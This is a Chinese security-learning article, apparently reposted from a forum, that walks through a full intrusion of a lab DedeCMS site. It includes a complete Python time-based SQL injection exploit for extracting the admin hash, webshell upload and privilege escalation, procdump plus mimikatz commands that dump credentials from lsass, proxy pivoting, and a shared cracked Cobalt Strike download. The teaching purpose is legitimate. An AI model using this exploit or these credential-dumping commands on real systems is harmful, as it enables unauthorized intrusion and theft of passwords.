完整的渗透实例–全面了解渗透技术 写在前面在我们学习安全时,常常会一直停留在某一方面,甚至不知道自己接下来要学什么,而提前了解我们整个渗透需要掌握的技术显得至关重要,这样我…
完整的渗透实例--全面了解渗透技术
写在前面
在我们学习安全时,常常会一直停留在某一方面,甚至不知道自己接下来要学什么,而提前了解我们整个渗透需要掌握的技术显得至关重要,这样我们在平时的学习中就会更加注重需要掌握的知识,接下来将通过一个完整的渗透过程来讲解我们需要掌握的知识。
环境
信息收集
使用nmap扫描存活主机和开放端口
使用wfuzz扫描子域名
信息收集的知识点甚多,远远不止这么一点,这只是冰山一角,信息收集可以说是渗透过程中最关键的一步,对目标充分的了解,有利于我们对目标进行全面的分析,后续的思路也会更加明确,而在信息收集的过程中,往往收集的信息是非常凌乱的,信息收集的量大,这非常考验我们对信息关键内容的提取,有的时候注意一下小小的细节,我们的渗透思路就来了,所以我们在需要时刻做好笔记,将收集到的信息进行整理归纳,当然在社会工程学也是不容小觑,有的时候社工一下轻轻松松拿下别人的网站,不过我这个菜鸡不怎么会。
更多信息收集知识请参考:
https://www.freebuf.com/sectool/266457.html
https://forum.butian.net/share/236
https://xz.aliyun.com/t/9508
https://blog.csdn.net/lowhacker/article/details/89449701
https://www.freebuf.com/articles/network/225981.html
分享两本社会工程学书籍:https://pan.baidu.com/s/1MihJFazgLnsqTvny6knGyQ
提取码:jy8n
后台的获取
根据前期的信息收集,进入目标织梦网站注册账号## 后台的获取
织梦cms 的版本是 20150618 存在注入
网上搜索公开的exp进行获取后台密码的hash
附上大佬写的exp
import sys,os
import urllib2
import time
opener = urllib2.build_opener()
def getCookes():
line = open('cookies.txt','r')
c = line.readline()
line.close()
return c
cookie=getCookes()
opener.addheaders.append(('Cookie',cookie))
payloads = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
def exploite(target):
password = ""
for i in range(1,21):
for p in payloads:
s1 = "%s" %(i)
s2 = "%s" %(ord(p))
s = target+"/member/mtypes.php?dopost=save&_FILES[mtypename][name]=.xxxx&_FILES[mtypename][type]=xxxxx&_FILES[mtypename][tmp_name][a'%20and%20`'`.``.mtypeid%20or%20if(ascii(substr((select%20pwd%20from%20dede_admin%20limit%201),"+s1+",1))%3d"+s2+",sleep(4),0)%20and%20mtypeid%3d1%23]=w&_FILES[mtypename][size]=.xxxx"
start_time = time.time()
try:
req = urllib2.Request(s)
req_data=opener.open(req,timeout=20)
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
if time.time() - start_time > 4.0:
password = password+p
print "["+str(now)+"]: "+s1+" -> "+password
except urllib2.URLError,e:
print e;
return password
def myhelp():
print "\n+------------------------------+"
print "| Dedecms 20150618 member sqli|"
print "| mOon www.moonsec.com |"
print "| MTEAM:moon@moonsec.com |"
print "+------------------------------+\n"
def main():
if len(sys.argv)< 2:
myhelp()
sys.exit()
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
print "["+str(now)+"] [INFO] Dedecms 20150618 member sqli.."
print "password is %s" % (exploite(sys.argv[1]))
if __name__ == '__main__':
main()
很多大佬都是自己编写poc、exp,而编写这些是相当考验技术的,往往技术越高的大佬,代码能力都很强,在安全这方面想走得长远,代码能力一定要提升。写exp的编程语言非常多种。根据自己擅长的编程语言去写
常见exp下载网站:
https://www.exploit-db.com/
https://github.com/offensive-security/exploitdb
https://www.seebug.org/
https://exploits.shodan.io/welcome
https://www.rapid7.com/db/?type=metasploit
https://cxsecurity.com/
分享两本Python学习的电子书:
链接:https://pan.baidu.com/s/1Be8j6OZz0PUEPRBTxexxog
提取码:oa3p
C黑客编程书籍:链接:https://pan.baidu.com/s/1Y0cMe_4YRr3zHwZVFz_AQg
提取码:duuw
发现使用md5加密,进行网上解密。
我们需要熟悉各种加密算法的特征,遇到不同的密文时我们就能够快速的破解密文。在这一步获取后台,我们是为了下一步webshell服务器,当然也可能直接远程执行命令进行写码或者直接上传文件,但一般前台能进行文件上传的网站很少。此时在我们心中应该要有很多登录后台的方式:SQL注入、xss获取cookie、弱口令、源码泄露进行代码审计、垂直越权、网上公开漏洞、敏感信息泄露、中间件漏洞等等,这些我们都要认真的掌握。
后台获取相关文章:
https://www.cnblogs.com/webyihui/p/3984591.html
https://www.freebuf.com/articles/web/279175.html
https://www.freebuf.com/sectool/159735.html
https://www.freebuf.com/vuls/256508.html
https://www.freebuf.com/vuls/260646.html
Webshell
登录后台后此时我们需要思考的是如何webshell,可以从各种功能点出发,发现可以上传后门
连接后门,直接webshell网站
我们需要掌握常用的webshell连接工具,如:中国蚁剑、中国菜刀等。
Webshell相关文章:
https://www.cnblogs.com/networking/p/3703016.html
https://xz.aliyun.com/t/8584
https://xz.aliyun.com/t/9555
https://xz.aliyun.com/t/9397
权限提升
当我访问其他文件时权限不够,此时需要做的就是提权
在虚拟终端并不可以执行命令,如果我们需要将shell会话转移到msf中继续往下渗透的话,上传的后门无法执行,说明此时需要上传提权脚本
上传提权脚本
访问上传的asp提权脚本,可以执行命令
生成攻击载荷
而有些目录是无法上传的,此时先上传目录扫描文件,扫描得到可读可写文件
上传后门到指定可读写文件,并使用上传的提权脚本进行运行,设置payload,成功反弹。
这里思考一个问题,我们在平常练习中,经常喜欢将直接去目标机中双击后门直接运行,此时与我们上面执行的有什么区别,反弹回来的权限是完全不一样的,在网页上执行该后门返回的只是普通权限,而在目标机中执行返回的却是管理员权限。由于这里是一个普通权限所以进行提权,搜索可提权的模块
利用提权模块,成功提权
在这里的权限提升中首先我们webshell但得到的权限比较低,无法执行程序,上传提权脚本后,执行程序,反弹到msf中,此时反弹到msf中是为了更好的进行渗透,反弹到msf中此时也还需要进行权限提升,权限提升的方式也分为非常多,我们要尽可能的全部掌握。
更多提权方法请参考:
https://forum.butian.net/share/207
由于现在对安全越来越重视,很多产商对各种有攻击性的代码与工具进行了查杀,刚刚使用msfvenom生成的攻击载荷,很有可能被查杀,免杀技术在我们进行渗透过程中是必不可少的,如果一上传到别人服务器上就给杀了,那不是一件很尴尬的事嘛。所以一般来讲上传的一句好木马、攻击工具等都需要做免杀。我这个菜鸡还不怎么会做免杀。
免杀技术相关文章:
https://www.freebuf.com/articles/web/205995.html
https://www.freebuf.com/articles/system/173532.html
https://www.freebuf.com/sectool/278200.html
https://xz.aliyun.com/t/8684
渗透其他网站
往往一台web服务器所包含的网站不止一个,继续扫描ww2.cc123.com的网站目录
找到登录后台的网页,经过测试发现可以用万能密码登录
发现后台存在sql注入,抓取后台登录的包,利用sqlmap进行注入
得到权限后,发现是一个内部ip地址,说明该网站可能是站库分离的网站
利用刚刚上传的提权脚本连接数据库
数据库的种类非常多,我们在渗透过程中不能确定说会碰到那些数据库,所以需要我们掌握数据库的框架、基本操作命令,比如增、删、改查等等。当前数据库主要有:Oracle,SQL Server,MySQL。
MySQL书籍:链接:https://pan.baidu.com/s/1duXwg6vjo7vk0QkZC9-xZg
提取码:5su4
Oracle数据库常用命令
https://www.cnblogs.com/my-first-blog-lgz/p/14252112.html
SQL Server数据库常用命令
https://www.cnblogs.com/yuzhonghua/p/7612594.html
利用Procdump+mimikatz配合获取hash与明文
Procdump是微软官方发布的工具,使用该工具可以绕过大多数的防护软件,procdump.exe把进程lsass.exe 的内存dump下来,将获取的lsass.dmp拷贝到本机上,再使用本机的mimikatz获取hash与明文
下载地址:
https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
进程lsass.exe中存在密码信息,使用Procdump获取lsass.exe中的信息
procdump -accepteula -ma lsass.exe lsass.dmp
导出lsass.dmp
将lsass.dmp导出到本机后,使用mimikatz获取明文密码,这样就可以不用将mimikatz传入到目标机中,可以防止mimikatz被杀的可能性。
1.privilege::debug
提升权限
2.sekurlsa::minidump lsass.dmp
用mimikatz载入lsass.dmp
3.sekurlsa::logonPasswords full
获取明文密码和hash
为什么要获取明文和hash呢?因为在域渗透的过程中可以利用获取到的明文或者hash进行横向传递攻击,由于我这里环境并不是域环境,无法演示,还有各个服务器的网站后台登录等等,都有可能用得到,很多时候大多数密码都是相同的,所以获取明文或者hash可以为我们接下来进行渗透提供很大帮助,而获取明文和hash的方式非常多种,有的时候甚至要自己编写工具。
明文和hash获取请参考:
https://forum.butian.net/share/259
https://forum.butian.net/share/310
域横向传递传递攻击请参考:
https://forum.butian.net/share/257
https://www.cnblogs.com/zzjdbk/p/14507846.html
多重网段内网渗透
获取路由信息,添加路由信息
在整个渗透过程中,我们需要了解基本的网络拓扑,在绝大多数高校和培训机构,开始上的课都是初级网络知识,需要我们对整个网络组成能够有清楚的认识,我上的课中有CCNA、HCIA、TCP/IP协议分析,就好比这里为什么要添加路由,我如何与其他网段进行通信,这就是基本的初级网络知识。所以如果是在前期的学习中,有上这些知识的课还是要认真学,其中TCP/IP协议分析,在我们安全方面也是很重要的。
使用socks代理隧道技术
使用proxychains设置代理
这里采用的是socks4a隧道代理技术,相对来讲使用该隧道代理技术并不是很稳定,但操作简单,而使用socks5代理隧道技术很稳定,但却还要在被控制端操作,操作稍微优点复杂。代理技术有非常多,有的时候我们为了隐蔽自己,常常使用网上的代理地址,好比进行子域名爆破、密码破解等等。使用Ngrok、Ssh、autossh、Natapp、Frp、Lanproxy、Spike、花生壳工具等工具搭建代理服务器进行内网穿透等等,需要我们在公网搭建实体机。这些内网穿透的代理工具不一定要全部掌握,但要对其中几款能够熟练使用。
代理技术请参考:
https://sspai.com/post/52523
https://forum.butian.net/share/330
继续使用nmap扫描目标主机的开放端口
上传攻击负载到mysql数据库
msf设置载荷
执行攻击负载
msf成功获取到数据库权限,这里是通过web服务器为跳板,攻击数据库服务器。如果数据库下面还有其他服务器则大致内容也差不多是这样。
在渗透中msf与cobalt strike都是相当重要的,可以说是必学,涉及的内容是相当多的,这里没有使用到cobaltstrike,但是msf与cobaltstrikes联动可以将各个功能结合在一起。
请参考:
https://www.freesion.com/article/1182816201/
https://www.freebuf.com/company-information/167460.html
https://www.cnblogs.com/dogecheng/p/11450423.html
分享一下Cobaltstrikes4.0破解版下载:
链接:https://pan.baidu.com/s/1XoIcOlX-vP7_KqU_xVbD5w
提取码:4v46
框架图:
总结
通过本次渗透实例,希望能够给我们启发,要进行全渗透,可以说每一个环节都是环环相扣,提前明确自己需要掌握的内容,一个一个进行攻破,知识点进行扩宽,就会收获很多,当然我也很菜,写得不好的地方请各位师傅见谅,希望能够与你们一起进步,不管自己亦强亦或弱,继续向前走就是了。
- 本文作者: Honeypot
- 本文来源: 奇安信攻防社区
- 原文链接: https://forum.butian.net/share/412
- 版权声明: 除特别声明外,本文各项权利归原文作者和发表平台所有。转载请注明出处!